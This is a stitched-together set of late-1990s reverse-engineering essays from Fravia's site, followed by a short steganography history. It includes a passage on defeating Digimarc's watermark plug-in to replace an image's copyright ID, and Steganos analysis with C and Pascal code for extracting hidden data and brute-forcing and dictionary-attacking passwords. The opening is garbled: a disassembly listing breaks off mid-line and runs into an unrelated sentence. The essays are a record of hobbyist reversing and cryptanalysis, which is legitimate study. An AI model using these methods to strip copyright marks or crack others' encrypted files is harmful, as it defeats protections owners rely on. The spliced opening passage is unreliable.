Right after I worked on the first part of this essay, I said to myself that,
strangely, Digimarc Corporation programmers exceled better in protecting images
than in protecting their own program...
At least that's what I was thinking BEFORE I decided to check if it was possible
to change the copyright of an already watermarked image in order to add my own
copyright inside it.
Though it is stupid (and useless) to steal a copyright and add our own instead,
my only concern was to study the level of protection of this tool.
The funny thing is that it is possible (and very easy unlike Digimarc Corporation's
comments about that)!
You can change the ID as well as the Type of Use and the Adult Content:

In Photoshop, open a watermarked image and select again FILTER/DIGIMARC/EMBED


WATERWARK.
A dialog box with the following message will pop-out: "Image Already Contains a
Watermark".
With SoftIce, BPX the DialogBoxParamA function and try again. SoftIce will break into
this
function call. Trace back for a while and you'll land here (Digisign.8bf):

:10003C34 E8EFAD0000 Call 1000EA28 ;MSVCRT40.??3@YAXPAX@Z, Ord:0061h


:10003C39 83C404 add esp, 00000004
:10003C3C 8B45F0 mov eax, dword ptr [ebp-10]
:10003C3F 83F801 cmp eax, 1 ; "groundbreaking technology
that will
affect markets from Hollywood to the Web" can be cracked so quickly (and
could have been easily cracked even even by an +HCU's newbye for that matter).

But I found the reason for that, on Digicom home page in their FAQs section:
"With Digimarc, Buyer Contacts Creator... Money Follows!"

Money turned those blind fools into stupid pretentious peoples who never even
try to test the reliability of such an important program.
Could you ever imagine asking (and paying) them for protecting your work/creations,
or worse, a Hollywood Movie copy protected with such a crap? Or even PlayBoy, who

http://www.instinct.org/fravia/frogdigi.htm (6 of 7) [2/7/2001 3:16:28 PM]


frogdigi

proudly states that since they are using Digimarc they can track hundred of thousand
web site/home pages a week to detect if anyone is using their pics without giving
them any money? Scary world...

Money, money, money... and see here... no money no more now!

Frog's Print - 4 August 1997

(c) Frog's Print, 1997. All rights reserved.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


antismut search_forms mailFraVia
is reverse engineering legal?

http://www.instinct.org/fravia/frogdigi.htm (7 of 7) [2/7/2001 3:16:28 PM]


fly___01.htm A Journey within Steganos

A Journey within Steganos


How to find the Fravia's Advanced Steganography Page
'LIGHT' (pre-advanced) version ~ 'reduced' version Steganography

02/04/98 by Jean Flynn


Courtesy of Fravia's page of reverse engineering
A great essay. It seems that the steganography idea begins to carry
some IMPORTANT first results. Clearly all this can be considered only
the beginning of a real work on steganographical reversing. I decided,
seen the importance of Jean Flynn's approach, to publish TWO versions
of his essay. A LIGHT one (on this side of the strainer) and a
COMPLETE one (on the advanced steganography page). People that
are stuck with the reversing work will be able to tackle it from Jean
Flynn's perspective. People that have already solved the task will have
the possibility to read it in extenso. I like a lot the trial and error part of
this essay... in fact I believe that all essays should have the
methodological clarity of this one. What really helps other reversers is
NOT to have a ready made solution, it is to gather ideas and to see
different approaches. That's what internet was made for (before our
enemies transformed it in a silly Disneyland of useless frill) that's the
whole point of the thing: team work, building on the shoulders of others,
bringing humanity cleverness together, just because it is great fun to
udnerstand things.
And this is Jean Flynn's (great) contribution. Enjoy!

This light version will show you MANY approaches to the reversing of
the strainer... see you 'on the other side'!
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

I rated this essay "Intermediate" level, not that I think that it is difficult to understand, but it covers many different faces
of Reverse Engineering. To follow and master everything need some knowledge. So, the reader may find here a view of
several techniques needed to defeat Steganography, password cracking, reverse engineering, along with comments of
mine on the subject.

A Journey within Steganos


How to find the Fravia's Advanced Steganography Page
Written by Jean Flynn (the_flynn@hotmail.com)

Introduction

This essay will show how I found the Fravia's advanced steganography challenge.

http://www.instinct.org/fravia/fly___01.htm (1 of 8) [2/7/2001 3:16:34 PM]


fly___01.htm A Journey within Steganos

Tools required
Compare : my own favorite binary comparator/hex editor included here with its source code
SoftICE 3.0
C or C++ compiler
Whatever Site downloading utility, like BlackWidow, or any other.
Steganos by Fabian

Target's URL/FTP
Steganos by Fabian Hansmann @ http://www.steganography.com

Program History

Essay

- Act I Scene I - The Challenge


When I discovered Fravia+'s steganography page, I found and solved the 'Andromeda' riddle pretty fast, the way caprine
did.
I was teased, but I didn't write any essay about it, because I thought this was just an 'appetizer', and the essay worth
writing was the one about finding the 'advanced page' of steganography.
I decided to attack that challenge ASAP, wrongly thinking it would be peanuts to achieve, since I thought all the people
listed in Fravia+'s page did find that page and already wrote an essay about it.
I have been very surprised to realize that I prove wrong, and that these people wrote about the 'easy' riddle, and not the
'hard' one. (Well, you did all right guys, it was not so 'easy' after all)

So I downloaded Steganos, and the two images from Fravia+, t_tamra7.zip file and copyoft_.zip file, and started
to have a look at them.

I discarded the GIF/s-tools4 side, since GIF are compressed and BMP usually not. (BMP might be compressed with
RLE, but not very often. As I am kind of lazy, I thought it would make one less step to do. Beside, the idea of reversing
IDEA was not teasing. I learned that Steganos uses a RC4 encryption scheme, and I like RC4 much better, since the key
computation is very fast with this algorithm.

Comparing the files.


I'll use my own graphical comparison utility. One word about it. I used to have such a hexademimal compare utility on
my (do _not_ laugh) old Apple II. I've been very frustrated _not_ to see a similar one on my Amiga, neither on my PC,
or wherever. After a few decades, I wrote my own, and here it is. Have a look at it, if you don't like it, just change it, I
included the source code. (Yet Another Boring Tool :-)

http://www.instinct.org/fravia/fly___01.htm (2 of 8) [2/7/2001 3:16:34 PM]


fly___01.htm A Journey within Steganos

- Act I Scene II - The Extraction


Run "compare copyoft_.bmp t_tamra7.bmp', press F1 to go to the first difference, and hit the left and right keys to see
alternatively both files. It tells us that lots of bytes starting from 0x440 have their LSB changed. We just need to find
how.
I played a little bit with Steganos, and, as Fravia+ suggested used all its features.

One good feature is the Help File. Fabian is a great guy, he explains everything. So now I know from the help file that he
stores information in the LSB of each byte, and that the file is crypted using "Alleged RC4".

What the heck is Alleged RC4? Well I didn't know at that time, but if you can search the Web, that kind of question
won't stop you very long.

The next thing you learn about Steganos, is that it is able to crypt the file without hiding the data in a bitmap or a sound.
Now this is a nice feature :-D

I prepared a file named adva.txt with "http://fravia.org/abcdefghijklmn.txt" in it, just 36 bytes. I hid it in a copy of
copyoft_.bmp, and also in a file "adva.sef", crypted but not hidden.

Let's dump that file. We see a header "SteganosEncryptedFile", followed by some binary data, which is probably the
encrypted data.

Let's look again at the bmp file, and analyse the bytes at offset 0x440 ... it won't take you long before you find that every
LSB of an 8 bytes group from the bmp file represents one byte of the encrypted data found in the sef file.

So, let's write a little program to extract the data from the BMP file, and reconstruct the SEF file.

#include <stdio.h> #include <stdlib.h> void main(int argc, char *argv[]) { if (argc!=3) exit(1) ; FILE *fin =
fopen(argv[1], "rb") ; // the BMP file if (fin==NULL) exit(0) ; FILE *fout = fopen(argv[2], "wb") ; // the SEF file
unsigned char rb, rbc, cb ; int nb ; fseek(fin, 0x440, SEEK_SET) ; fwrite("SteganosEncryptedFile\0\1\0", 24, 1, fout) ; //
write the header rbc = cb = 0 ; nb = 0 ; while(1) { if (fread(&rb, 1, 1, fin)<=0) break ; // pick up each byte cb >>= 1 ; if
(rb & 1) cb |= 0x80 ; rbc++ ; if (rbc>=8) { rbc = 0 ; fwrite(&cb, 1, 1, fout) ; cb = 0 ; nb++ ; if (nb>=60) break ; // see the
text for this line, not here in first version of the prog } } fclose(fout) ; fclose(fin) ; } The first version of this program
(without the commented line) was used to process the whole BMP file. After a few tries, I found that just the first bytes
were needed, so I cut the file there. Obviously Fabian fills up the BMP file with noise.
I found that this length doesn't have to be exact, since Steganos doesn't check it, as long as it has enough data to process.
So I let a couple of more byte to go in the file, just in case the compression was worse for the Fravia's adva.txt file than
for mine.

Anyway, it's little matter for the moment, since we'll use only a few bytes of the beginning of the crypted data to find the
key(but I didn't know for sure at that time)

MOST IMPORTANT

Now that you have your nice extraction tool, VALIDATE it by processing a few different data files (of the same
size, since I hardcoded it), hiding them in the BMP file, using the extraction tool to generate the SEF file, and
checking that Steganos can retreive the data from that generated SEF file. You must be confident in your data
before you can go further.

Another point: this extractor won't work for other data file size, and BMP files, since it does not care about the end of
lines in the BMP. End of lines are tricky in images, and Fabian probably skips them. For our purpose here, we don't care,

http://www.instinct.org/fravia/fly___01.htm (3 of 8) [2/7/2001 3:16:34 PM]


fly___01.htm A Journey within Steganos

since we just need a few bytes, much less than a pixel size of a line.

Another small point: I didn't really understand why Fravia+ gave us the original file.
I thought it might be needed, but it is not. Hide another random text file in the BMP, and you get a good candidate for an
'original' BMP file

- Act II Scene I - The RC4 Discovering


So what now? We have a nice RC4-encrypted text file, and Fravia+ is just requesting to reverse it. Let's find some
information about RC4. I'll let you read Fravia's search lessons, although it is not really necesssary since huge amount of
information is available about RC4 on the net. The main article you'll find is from the Cypherpunks, where they disclose
the algorithm with humour. Let's see: --------------------------------------------------------------- I am shocked, shocked, I tell
you, shocked, to discover that the cypherpunks have illegaly and criminally revealed a crucial RSA trade secret and
harmed the security of America by reverse engineering the RC4 algorithm and publishing it to the world. On Saturday
morning an anonymous cypherpunk wrote: SUBJECT: RC4 Source Code I've tested this. It is compatible with the RC4
object module that comes in the various RSA toolkits. /* rc4.h */ typedef struct rc4_key { unsigned char state[256];
unsigned char x; unsigned char y; } rc4_key; void prepare_key(unsigned char *key_data_ptr,int key_data_len, rc4_key
*key); void rc4(unsigned char *buffer_ptr,int buffer_len,rc4_key * key); /*rc4.c */ #include "rc4.h" static void
swap_byte(unsigned char *a, unsigned char *b); void prepare_key(unsigned char *key_data_ptr, int key_data_len,
rc4_key *key) { unsigned char swapByte; unsigned char index1; unsigned char index2; unsigned char* state; short
counter; state = &key->state[0]; for(counter = 0; counter < 256; counter++) state[counter] = counter; key->x = 0; key->y
= 0; index1 = 0; index2 = 0; for(counter = 0; counter < 256; counter++) { index2 = (key_data_ptr[index1] +
state[counter] + index2) % 256; swap_byte(&state[counter], &state[index2]); index1 = (index1 + 1) % key_data_len; } }
void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key) { unsigned char x; unsigned char y; unsigned char*
state; unsigned char xorIndex; short counter; x = key->x; y = key->y; state = &key->state[0]; for(counter = 0; counter <
buffer_len; counter ++) { x = (x + 1) % 256; y = (state[x] + y) % 256; swap_byte(&state[x], &state[y]); xorIndex =
(state[x] + state[y]) % 256; buffer_ptr[counter] ^= state[xorIndex]; } key->x = x; key->y = y; } static void
swap_byte(unsigned char *a, unsigned char *b) { unsigned char swapByte; swapByte = *a; *a = *b; *b = swapByte; }
--------------------------------------------------------------- (At least, writing that part of this essay was easy, just cut and
paste...) All right. Good. It seems we have it all !

- Act II Scene II - The Steganos Reverse Engineering


Let's check if Fabian did RC4 the way the Cypherpunks described it. For this we'll use SoftICE. I'm not going to give
you lots of explanations about this debugging session, since lots of essays are available here to do this. The experienced
reader you are will easely find his way with this :-) (flattering the reader shouldn't hurt ;-)

I prepared an encrypted file (not hidden) from a 36-bytes text file named adva.txt, and launched Steganos under SoftICE.
Ran it up to the password entering page, and set a breakpoint with BPX GetWindowTextA.

Press "Next" in Steganos, the program stops in GetWindowText.


Exit the routine, and look at the stack to find the adress of the string (ds:1211E0C)

Set a breakpoint at this address with BPMW [addr] RW, and run, you'll get right where Fabian uses the key. The first
time is right in the middle of a strlen(), not very interesting.
Hit G two more times, and then you get in the middle of a code where Fabian copies the key 32 times to generate a 256
characters key.

Set a breakpoint to the adress of this 256 key buffer (BPMW ds:44D9D8) and G again, and you land at cs:40D97E right
in the middle of the key computation. Go on with BPX cs:40D9E5, and use the P command to exit all routines up to

http://www.instinct.org/fravia/fly___01.htm (4 of 8) [2/7/2001 3:16:34 PM]


fly___01.htm A Journey within Steganos

cs:404420, where a call gives the result 0x61, first letter of the hidden filename.

Notice: Look at the state part of the computed key after its generated (it is at ds:44D8D8), and compare it with what the
Cypherpunk's algorithm gives with the same ascii key. You'll see that it's the same, so we know that the key computation
is identical to the Cypherpunk's version.

Now reverse the routine 404420, and you'll see that it computes the RC4 key in a slightly different way that the
Cypherpunk's routine, as you will se at cs:40D837. Here it is now, functionnally equivalent, ready to replace the same
routine from the Cypherpunk package.

void rc4(unsigned char *buffer_ptr, int buffer_len, rc4_key *key) { unsigned char x; unsigned char y; unsigned char*
state; unsigned char xorIndex; short counter; x = key->x; y = key->y; state = &key->state[0]; for(counter = 0; counter <
buffer_len; counter ++) { x = (x + 1) & 255; y = (state[x] + y) & 255; swap_byte(&state[x], &state[y]); xorIndex =
(state[x] + state[y]) & 255; key->cte += 13 ; // difference with Cypherpunk key->cte &= 0xFF ; // difference with
Cypherpunk buffer_ptr[counter] ^= state[xorIndex] ^ key->cte ; } key->x = x; key->y = y; } That's it, you have enough
to make yourself a key generator. You'll find mine in the "Final Approach" chapter, with a fast version of prepare_key I
found on the 'Net somewhere (Bad me. I should reward the original author of this, but sorry, I didn't keep track of this
nice guy's name)

- Act III Scene I -


The Failures
and the 'Too Slow' practices
Knowing what we know so far, the problem of finding the hidden text file gets to to decrypt the RC4 encrypted file, that
is, reverse RC4. This is just not possible, a search on the 'Net will show that the only things we can find about RC4 is a
flaw in a certain class of keys, that would jeopardize these keys by a small factor (a percent or so).

So the first approach is Brute Forcing. Now that we have the bits and bytes of the coding, we can make a bruteforce
program, able to compute about 20,000 keys per second. Scanning all keys of a 8 letters password will take 26^8 tries,
that is, take about 120 days to find it. (I won't give you this program, it's easy for you to write it if you want with the
above elements) It works, but it's too slow.

The accelerator

The probability of appearence of letters in English is as this : esiarntolcdugpmhbyfvkwzxjq (at least it is like this in the
dictionary file I dowloaded)

Instead of trying all combinations of letters starting with a, b, c, etc, using e, s, i, etc... saves time for this search by a
factor of about 13, finding the solution in about 9 days.
Works too, but it's again too slow, and the time saved is unsure, as it depends on the key.

The Dictionary approach

I downloaded wordlists from ftp.cdrom.com (especially English and Finnish, wonder why :-), and used a program to test
all the words as passwords. This is incredibly fast, but it failed.

Gathering the target's environment

I used a Site Download (BlackWidow) utility to get all the Fravia's pages. By the way, I didn't find a good tool for this
task. Some of them are "Full Bug Inside", and blow all the time, some of them download the site ten times just to make

http://www.instinct.org/fravia/fly___01.htm (5 of 8) [2/7/2001 3:16:34 PM]


fly___01.htm A Journey within Steganos

the page list (wonder why), some of them are limited. Do any of you know of a good clever one?

Anyway, once you have all your target's pages, you get some kind of "picture of his world", the way he interact with the
language he uses. I used the following programs to make a word list for the pages (these tools are available in Unix
environment, but not under Windows. So I wrote them.)

// program WORDS to extract all words from a file #include <stdio.h> #include <ctype.h> char w[256] ; main() { int ch;
int col; col = 0; while ((ch = getchar()) != EOF) { if ((isalpha(ch))&&(col<255)) { w[col++] = ch ; } else { if (col >= 3) {
w[col]=0 ; puts(w); } col = 0; } } } // Program XDUPL to suppress duplicates #include <stdio.h> #include <string.h>
#include <ctype.h> char w[256] ; char wc[256] ; int main(int argc, char *argv[]) { *wc=0 ; while(gets(w)) { int l =
strlen(w) ; if (l<=0) continue; else if (!isalpha(w[l-1])) w[l-1]=0 ; for(int i=0; i<l; ++i) w[i]=tolower(w[i]) ; if (strcmp(w,
wc)) { puts(w) ; strcpy(wc, w) ; } } } use with : for %i in (*.htm) do words < %i >>list.txt sort <list.txt >lists.txt xdupl
<lists.txt >fravia.txt I used the obtained file as a dictionary, but it failed again.

The Filtering methods


All the following methods are based on the same principle : removing all low probability solutions.

Filtering is a method that generates 'probable keys'. They are dangerous methods, in that they remove arbitrarily
complete ranges of keys from our scan. You really need to know that the removed keys have less probabilities to appear
unless the method is just a waste of time.

Another way of considering filtering method, is not to suppress low probability keys, but reorder the tests of these keys
so the highest probable keys (from your criteria) will be scanned first. This method can statistically accelerate the
findings.

Siko's method

You'll need to discover the Fravia's advanced java page to learn about this method. I didn't try it, (because I wasn't aware
of it by that time) but I take the opportunity to comment it a little bit here: As it is not symmetrical regarding the letter
ordering, it might fail badly, and the routine contains at first a restrictive condition :

if (pass[pos] == pass[pos+1]) { return 0; } contradicting some of the letters choices : case 'f': if (strchr("aefilortu",
pass[pos+1]) == NULL) return 0; a word like "afford" wouldn't pass, as an example. These are 'tunings' you need to be
aware of.

The limited number of vowel and consonant method

Build all words containg not more than 1 consecutive vowel and 2 consecutive consonants. Works, but it's dangerous and
slow.

The 'Triplet' method


I built a table of all used 'triplet' of letters from the english dictionary.
There are only a part of all the 17,576 possible triplets used.
Then, I made a program building all possible combinaisons of words made from these triplets.

This generates 'probable' words. It works, but it's too slow.

The crazy methods

These methods use other approachs, like trying 'obvious' passwords ('steganos', etc...)
In fact, I read that zeezee, (and others) did find the solution (at least I thought they did). In the pages BlackWidow
dowloaded for me from Fravia's site, I found a page named 'zee__4.htm'. Soooo, maybe one of the solutions can be

http://www.instinct.org/fravia/fly___01.htm (6 of 8) [2/7/2001 3:16:34 PM]


fly___01.htm A Journey within Steganos

found in 'zee__3.htm' ? or 'zee__5.htm' ? It didn't work, but it was worth a try. I named this page originally
'flynn__1.htm', but see how it's named now, I bet you Fravia+ changed it before he published it. Wonder why ?

- Act III Scene II - The Final Approach


I was travelling in a tramway when I though that Fravia was really liking 'reverse' engineering.
...

(see the advanced version, where a long and quite interesting c 'real reversing engineering'
program follows)
... This program doesn't use the supposed file name 'adva.txt', but prints whatever ascii filename it could, so I could be
able to detect if Fravia changed the file name. Useless actually. This program found the key within minutes, and guess in
which file ... "Fravia.txt", the dictionary of terms imported from Fravia's site !
It sounds obvious afterwards, but this enlighten the fact that getting the "target's context" is essential in such a search.
His password is probably a mixture of it's usual words.

Final Notes
We could find that password only because Fravia+ limited the number of letters in it, and told us about it. Would have he
used a more complex one, we would need centuries of computing time to find it, or a lot of mathematical analysis to find
a RC4 flaw, that probably doesn't exist.

I wish I could use this 'final notes' area to comment a small point from Fabian himself.
One can remark that most of the complicated work above has been done to 'crack' a RC4 password; not to extract the
information from the BMP, task somehow easy.

Fabian said that steganography can be revealed because the bmp containing the hidden file compress less than the
original one. This is only true because of Fabian's way of doing things, filling up the BMP unused area with noise.

I agree on compressing and crypting the file before hiding it. But I disagree on how the hiding is done, if room is left.
Instead of filling up the file with noise, you can spread the information onto the whole file, using as a storage for one bit
a n-bits cell (n being the total size available divided by the size of information to be hidden). Taking care to only switch
bits in these cells whenever possible, the bandwidth will look about the same, and it will be difficult to know that a file is
hidden. Pkzip as an exemple would compress the file with the same efficiency.

The significant bit of every n-bit cell can be chosen using the crypt function itself, making it real hard to reconstruct.

Jean "Flynn".

Ob Duh
I guess the usual Fravis's Ob Duh section doesn't apply here. We just reversed a small part of Fabian's Steganos in
order to crack Fravia+'s password and we didn't crack any protection whatsoever.

http://www.instinct.org/fravia/fly___01.htm (7 of 8) [2/7/2001 3:16:34 PM]


fly___01.htm A Journey within Steganos

And I think Fravia+ won't mind ... will he ? :-)

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Fravia's Back to Stego's Disabled in the


Anonymity Academy 'normal' page 'light' version

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/fly___01.htm (8 of 8) [2/7/2001 3:16:34 PM]


mrf_steg.htm How to reverse engineer Steganos (First step)

How to reverse engineer Steganos (First step)


Speed up brute force cracking Steganography

11 February 1998 by mrf


Courtesy of Fravia's page of reverse engineering
fra_00XX Great! It's a first step, but in the CORRECT direction! We are finally beginning to
980213 get into Steganos' guts... now the big question is: will we go deeper inside Steganos'
mrf encryption routines immediately next or would it be (may be :-) more useful to
0100 examine a little the inner working of the OTHER applications from the stego page:
NA S-tools, before delving inside Steganos? Any path you choose, this essay by mrf will
PC help you a lot... Enjoy!
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

This essay is quite easy to understand. It gives some basics about how to reverse engineer Steganos in general. If you know
how to work with Wdasm89 and SoftIce, you'll not have any problems to comprehend. It is recommended to know a little bit
of Pascal, though.

How to reverse engineer Steganos (First Step)


Some basic ideas to speed up brute force cracking
Written by mrf

Introduction

Jean Flynn wrote a great essay about how he reached the advanced stego
page, but he didn't mention some details about Steganos that are very
useful to know.
The program calculates a checksum of the password. This'll be the target
of my brute force attack.

Tools required
W32Dasm
SoftIce
Steganos Decryptor 1.0 (Steganos itself should work, too)
Turbo Pascal (any version should do)

Targe= t's URL/FTP

http://www.instinct.org/fravia/mrf_steg.htm (1 of 6) [2/7/2001 3:16:42 PM]


mrf_steg.htm How to reverse engineer Steganos (First step)

http://www.steganography.com

Progr= am History

Essay

You should read Jean Flinn's essay about how


he reached the advanced stego page.
He explains the encryption routine itself, so i don't want to do this
again.
Finally, he used a dictionary derived from +Fravia's page.
If we want to reverse engineer Steganos images in general, we'll
not have the knowledge to build such a dictionary of probable words.
Thus, we have to think about a brute force attack.

I was not able to find a serious weakness in Steganos, as well, but i


found something that helps a little bit. Jean Flinn did not mention that
Steganos calculates a checksum of the password, which is stored within
the image.
You should find the algorithm easily: Enter a password, bpx hmemcpy and
notice what's going on...

:00407053 8A0439 mov al, byte ptr [ecx+edi] - store char in al


:00407056 8AD1 mov dl, cl - store counter in dl
:00407058 FEC2 inc dl - +1
:0040705A F6EA imul dl - * al (char)
:0040705C 32D8 xor bl, al - xor checksum with
al
:0040705E 41 inc ecx - inc counter
:0040705F 3BCE cmp ecx, esi - finished ?
:00407061 7EF0 jle 00407053 - no, do it again

:00407063 80FB2A cmp bl, 2A


:00407066 7502 jne 0040706A
:00407068 B301 mov bl, 01

:0040706A A1041B4400 mov eax, dword ptr [00441B04]


:0040706F 85C0 test eax, eax
:00407071 7502 jne 00407075
:00407073 B32A mov bl, 2A

:00407075 8D4C2410 lea ecx, dword ptr [esp+10]


:00407079 E8BED50100 call 0042463C
:0040707E 5F pop edi
:0040707F 8AC3 mov al, bl
:00407081 5E pop esi

http://www.instinct.org/fravia/mrf_steg.htm (2 of 6) [2/7/2001 3:16:42 PM]


mrf_steg.htm How to reverse engineer Steganos (First step)

:00407082 5B pop ebx


:00407083 C3 ret

This is the code translated into Pascal.

function Checksum (passw: string): byte;


var i: integer;
b: byte;
begin
b:=0;
for i:=1 to length (passw) do
b:=b xor (ord(passw[i])*i);
if b=42 then b:=1;
Checksum:=b;
end;

Steganos Decryptor compares the original checksum with the checksum of


the password at 402bf0.

:00402A28 E813460000 call calcPasswdChksum (00407040)


:00402A2D 8A4C2418 mov cl, byte ptr [esp+18]
:00402A31 83C404 add esp, 00000004
:00402A34 3AC1 cmp al, cl
:00402A36 0F84A1000000 je 00402ADD

By setting a bpx 402a34, you'll find the original checksum in cl (8a for
+Fravia's image).
This is a good target for our attack, because it will sort out lots of
wrong passwords. +Fravia told us that his password has 8 chars and i
guessed that all of them were lower case (very probable for +Fravia's
passwords :-).
Thus, I was able to sped up the algorithm a lot.

checksum:=0;
for a:=1 to 26 do begin
chksum:=fe[a] xor chksum;
for b:=1 to 26 do begin
chksum:=(fe[b] shl 1) xor chksum;
for c:=1 to 26 do begin
chksum:=(fe[c]*3) xor chksum;
for d:=1 to 26 do begin
chksum:=(fe[d] shl 2) xor chksum;
for e:=1 to 26 do begin
chksum:=(fe[e]*5) xor chksum;
for f:=1 to 26 do begin
chksum:=(fe[f]*6) xor chksum;
for g:=1 to 26 do begin
chksum:=(fe[g]*7) xor chksum;
for h:=1 to 26 do begin
chksum:=(fe[h] shl 3) xor chksum;
if (chksum=$8a) then ChkIfRightPwd;
chksum:=(fe[h] shl 3) xor chksum;

http://www.instinct.org/fravia/mrf_steg.htm (3 of 6) [2/7/2001 3:16:42 PM]


mrf_steg.htm How to reverse engineer Steganos (First step)

end;
chksum:=(fe[g]*7) xor chksum;
end;
chksum:=(fe[f]*6) xor chksum;
end;
chksum:=(fe[e]*5) xor chksum;
end;
chksum:=(fe[d] shl 2) xor chksum;
end;
chksum:=(fe[c]*3) xor chksum;
end;
chksum:=(fe[b] shl 1) xor chksum;
end;
chksum:=fe[a] xor chksum;
end;
Note: fe[1..26] contains 'a'..'z'

It looks complicated, but is really fast. But there are still several
thousand "right" passwords.

A serious weakness is that Steganos hides and encrypts the


filename (+00h) of the text.
Thus, I wrote a procedure which ckecks if the first part of the decrypted
text is a filename (very similar to Jean Flinn's approach).
My whole program could check all possibilities in about 80 hours (but i
guessed the first letter was 's' for something like 'stego'... it took not more
than two hours :-)

Here are my procedures for Steganos in Pascal:

procedure makeCodeTable (passw: string;var codetable: array of byte);


var i,old,temp: byte;
ba: array [0..255] of byte;
begin
for i:=0 to 255 do codetable[i]:=i;
for i:=0 to 255 do begin
ba[i]:=ord (passw[1+(i mod length(passw))]);
end;
old:=0;
for i:=0 to 255 do begin
old:=(codetable[i]+ba[i]+old) and 255;
temp:=codetable[i];
codetable[i]:=codetable[old];
codetable[old]:=temp;
end;
end;

http://www.instinct.org/fravia/mrf_steg.htm (4 of 6) [2/7/2001 3:16:42 PM]


mrf_steg.htm How to reverse engineer Steganos (First step)

Notes

passw is the password...


codetable[0..255] is used for decryption later on
the whole procedure is located at :00407090

{
function decode (b:byte; var codetable:array of byte;var count:byte;var
co:byte;
var old: byte):byte;
var temp: byte;
begin
inc (count);
old:=codetable[count]+old;
temp:=codetable[count];
codetable[count]:=codetable[old];
codetable[old]:=temp;
temp:=codetable[count]+temp;
temp:=codetable[temp];
co:=co+$0d;
b:=b xor temp xor co;
decode:=b;
end;

Notes

b is the byte to decrypt


codetable[0..255] (see above)
count is a counter (starts at 0)
co is a constant (starts at 28h)
old starts at 0
the whole procedure is located at :00406fa0

Final Notes

This is only the first step to decrypt steganography. It helps a little


bit, but is far from being good. It makes brute force attacks faster,
but if someone uses numbers, lower and upper case characters, a brute
force attack is still too slow.

http://www.instinct.org/fravia/mrf_steg.htm (5 of 6) [2/7/2001 3:16:42 PM]


mrf_steg.htm How to reverse engineer Steganos (First step)

Note for all steganography authors: Don't encrypt additional information


such as a filename. This helps us a lot...

Ob Duh
Hey, Ob duh does not apply: Steganos Decryptor is freeware :-) If you just want to strip files out of images, you don't have to
pay a penny.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to stego.htm

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/mrf_steg.htm (6 of 6) [2/7/2001 3:16:42 PM]


steghist.htm: FRAVIA'S "A little steganographical history"

Fravia's Anonymity Academy

FRAVIA'S STEGANOGRAPHY
A little steganographical history

WARNING: The following has been pilfered from a VERY GOOD PAGE:
http://patriot.net/~johnson/html/neil/stegdoc/sec202.html
I'll slowly modify and add stuff here as time goes by, for the following information you should not
thank me, but http://patriot.net/~johnson/html/neil/stegdoc/sec202.html

One of the first documents describing steganography is from the Histories of


Herodotus.
In ancient Greece, text was written on wax covered tablets. In one story Demeratus
wanted to notify Sparta that Xerxes intended to invade Greece.
To avoid capture, he scraped the wax off of the tablets and wrote a message on the
underlying wood. He then covered the tablets with wax again. The tablets appeared
to be blank and unused so they passed inspection by sentries without question.

Another ingenious method was to shave the head of a messenger and tattoo a message
or image on the messengers head.
After allowing his hair to grow, the message would be undetected until the head was
shaved again.

Another common form of invisible writing is through the use of Invisible inks.
Such inks were used with much success as recently as WWII. An innocent letter
may contain a very different message written between the lines [Zim48]. Early in
WWII steganographic technology consisted almost exclusively of invisible inks
[Kahn67].
Common sources for invisible inks are milk, vinegar, fruit juices and urine. All of
these darken when heated.

With the improvement of technology and the ease as to the decoding of these invisible
inks, more sophisticated inks were developed which react to various chemicals.
Some messages had to be "developed" much as photographs are developed with a number
of chemicals in processing labs.

Null ciphers (unencrypted messages) were also used. The real message is "camouflaged"
in an innocent sounding message.
Due to the "sound" of many open coded messages, the suspect communications were
detected by mail filters. However "innocent" messages were allowed to flow through.
An example of a message containing such a null cipher is:

News Eight Weather: Tonight increasing snow.


Unexpected precipitation smothers eastern towns. Be
extremely cautious and use snowtires especially heading

http://www.instinct.org/fravia/steghist.htm (1 of 3) [2/7/2001 3:16:53 PM]


steghist.htm: FRAVIA'S "A little steganographical history"

east. The highway is not knowingly slippery. Highway


evacuation is suspected. Police report emergency
situations in downtown ending near Tuesday.

By taking the first letter in each word, the following message can be derived:

Newt is upset because he thinks he is President.

The following message was actually sent by a German Spy in WWII [Kahn67]:

Apparently neutral's protest is thoroughly discounted


and ignored. Isman hard hit. Blockade issue affects
pretext for embargo on by products, ejecting suets and
vegetable oils.

Taking the second letter in each word the following message emerges:

Pershing sails from NY June 1.

Even the layout of a document can provide information about that document.
Brassil et al authored a series of publications dealing with document
identification and marking by modulating the position of lines and words
[Brassil-Infocom94, Brassil- Infocom94, Brassil-CISS95].
Similar techniques can also be used to provide some other "covert" information
just as 0 and 1 are informational bits for a computer. As in one of their examples,
word-shifting can be used to help identify an original document [Brassil-CISS95].
Though not applied as discussed in the series by Brassil et al, a similar method can
be applied to display an entirely different message. Take the following sentence
(S0):

We explore new steganographic and cryptographic


algorithms and techniques throughout the world to
produce wide variety and security in the electronic web
called the Internet.

and apply some word shifting algorithm (this is sentence S1).

We explore new steganographic and cryptographic


algorithms and techniques throughout the world to
produce wide variety and security in the electronic web
called the Internet.

By overlapping S0 and S1, the following sentence is the result:

We explore new steganographic and cryptographic


algorithms and techniques throughout the world to
produce wide variety and security in the electronic web
called the Internet.

This is achieved by expanding the space before explore, the, wide, and web
by one point and condensing the space after explore, world, wide and web by

http://www.instinct.org/fravia/steghist.htm (2 of 3) [2/7/2001 3:16:53 PM]


steghist.htm: FRAVIA'S "A little steganographical history"

one point in sentence S1. Independently, the sentences containing the shifted
words appear harmless, but combining this with the original sentence produces
a different message: explore the world wide web.
Resources

If you want to learn more about steganography and cryptography or security issues in general check out the following
Resources:

sci.crypt

A Usenet newsgroup dedicated to cryptography; contains a lot of rubbish

National Computer Security Association forum


CompuServe forum; accessible by GO NCSA
Steganography Info & Archive Software, information, and links on steganography (http://www.iquest.net/~mrmil/stego.html)
